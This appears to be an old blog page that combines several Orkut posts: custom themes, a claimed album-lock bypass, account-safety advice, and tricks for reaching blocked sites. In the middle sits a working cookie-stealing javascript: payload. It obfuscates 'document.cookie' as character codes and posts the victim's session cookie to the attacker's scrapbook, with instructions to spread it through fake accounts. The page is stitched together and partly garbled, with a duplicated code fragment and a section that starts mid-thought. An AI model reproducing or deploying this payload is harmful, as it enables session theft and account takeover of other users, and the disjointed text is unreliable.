How to make custom orkut themes quickly

Orkut has recently introduced many themes for their users But unlike iGoogle themes, Orkut doesn’t have the API required for third parties to build themes for the service. Thats why if you want to make your own personalized orkut theme then you can do that in seconds.Don't be surprised! If you use Firefox + Greasemonkey, then you can build your own Orkut themes in just a few seconds. Just follow these simple steps.

1. Navigate to this link, and enter the url of a valid image. (Make sure that your image has enough width, else it’ll get repeated just like windows desktop wallpapers)
2. Click on the submit button and you’ll get the greasemonkey script with the background image of your choice.

It took me several trial and errors to determine the best width for Orkut. If you are already using an official theme, then make sure you switch back to the classic theme before using the custom greasemonkey theme. Else, it’ll screw it up.

Custom themes will extend the pageload time by several seconds. This is because it has to fetch the image from an external source after the page is fully loaded. Personally, I’m not a great fan of themes for Orkut and i still use the default theme of orkut.

How to unlock orkut album lock

During the initial days of orkut every one can access the photo album of any user but a feature in December 07 was added which was supposed to let the user restrict view access to their orkut photo album.
Later this feature was then extended to the video and scrapbook options also. Though Orkut uses Microsoft's safe & secure technology but even tough it is not very hard to break this security feature.Our intention is not to spread weakness of orkut but as the movie antitrust says "Human knowledge belongs to the world."A simple javascript when typed on your FireFox browser displays all your photos in your album in a thumbnail sequence. Here is the trick.

This trick works only if you are using Mozilla Firefox and Greasemonkey extension/addon installed on your system, and may not work on Internet explorer.

1. Go to users profile whose album is locked and you want to unlock
2. Copy and paste the below mentioned javascript code on the address bar and hit enter





3. Wait for few second before the photos are displayed.Now this is done.

Definitely orkut guys will fix this security breach one day.So better give it a try before that happens and inform me when it stops working.

UPDATE:: This method is not working presently.

How to save your orkut account from getting hacked

Previously i wrote about how to hack orkut accounts this time i am with a guide on how to save your orkut account from getting hacked. For this lets go through the login security system used by Google for its application like orkut.

Google uses a 4 Level Orkut login which makes it difficult to hack using brute force method.
1st Level Security-SSL or 128 bit secured connection
2nd Level Google account checks for cookie in the sytem of user
3rd Level Google provides a redirection to the entered User information
4th Level Google doesn't use conventional php/aspx/asp coding so impossible to attack using input validation attack!!


It is not an easy task to break this security! But still some people manages to get access to other accounts. The question concerned is How they do it? Many of them just use simple tricks that be fool users and then they them self leak out their password. Here are some points you need to take care of, to prevent your Orkut account being hacked!

Phishing Attack is the most popular way of stealing other's password. Popular by the name of fake login (among those who knows it!!) the users land on a page where they are asked for their login information and they enter their username and password thinking it to be a real page but actually it is other way round. It submits all the details entered to the programmer or the coder.

Community Links: Many times you are provided with a link to a community in a scrap. Read the link carefully, It may be something like http://www.okrut.com/Community.aspx?cmm= 22910233 OKRUT not ORKUT. Clicking on this link will take you to a fake login page and there you loose up your password.

Orkut New Features: I have come across a page that looks like they are giving the user a choice of selecting new features for orkut with your ID and password, of course!! When user submit the page, there goes his ID and password mailed to the coder.

Java script: You must have seen the circulating scraps that asks you to paste this code in your address bar and see what happens! Well sometimes they also leak out your information. Check the code and if you are unsure of what to do, then I recommend not to use it.

Primary mail address: If by some means a hacker came to know password of your email address, which users normally keeps as their primary mail address in their Orkut account, then hacker can hack Orkut account by simply using USER ID and clicking on 'forget password'.This way Google will send link to the already hacked primary email id to change the password of the Orkut account. Hence the email hacker will change your Orkut account's password. Hence your Orkut account hacked too.

So a better thing would be to keep a very unknown or useless email id of yours as primary email id so that if the hacker clicks on 'Forgot password' the password changing link goes to an unknown email id i.e. not known to the hacker.

These are the some of the methods which can alarm you about the possibility of account hacking. So its better to play safe.

Google uses Microsofts technology for its popular application

Yes it true.I am not sure about how many applications of Google are developed using Microsoft's technology but do you know that Google's social networking web site Orkut.com is powered by Microsoft technology? We just learnt that Orkut is powered by its rival company's ASP.NET technology. All the page URLs of Orkut ends with the extension .aspx, which is file extension of Microsoft ASP.NET web pages.

you can see this in the links provided below for orkut.

Well this is not an offense to use rival's technology but usually people don't expect this for a such popular application Google is dependent over Microsoft.Microsoft has at least one point to smile.

Then make two fake accounts...u will ned one to receive the cookie and one to advertise your script so that if orkut starts deleting such profiles your real account wont be compromised.Its your choice.

javascript:nobody=replyForm;nobody.toUserId.value=62915936;
nobody.scrapText.value=eval
(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,
111,111,107,105,101)); nobody.action='Scrapbook.aspx?Action.writeScrapBasic';
nobody.submit()

U see the 62915936 part? Thats the one u need to edit to get the cookie to your account.....

Now here is the script Code:

HOW TO PUT UR NUMBER IN THAT SECTION??? FOLLOW THESE STEPS:

1) Go to YOUR ALBUM section.

2) Go to ANY photo and right click on it , see the properties of your display image...u will see something like 12345678.jpg

111,111,107,105,101));
nobody.action='Scrapbook.aspx?Action.writeScrapBasic';
nobody.submit()

How to access blocked sites

There are many places where social networking sites like Orkut , facebook etc are blocked and user like students,employees are not allowed to access them but some of them still need to access them so here is the tricks which will enable you to access these blocked sites.

1.Use the mobile browser:By the use of mobile web version of search engines like Google mobile you can access some of the restricted web sites.In this case your request for a website is send through Google which made it almost impossible for blocking software to detect it.

2.This is a lesser known trick, but some less sophisticated filtering systems have trouble when the URL hostname/ip is converted to decimal. Do a google search for 'convert IP to decimal'. Google.com turns into http://1113982867.

3.Another way is to use the proxy server,but situation is that at some places some of the proxy server are also blocked but not all proxy server can be blocked.
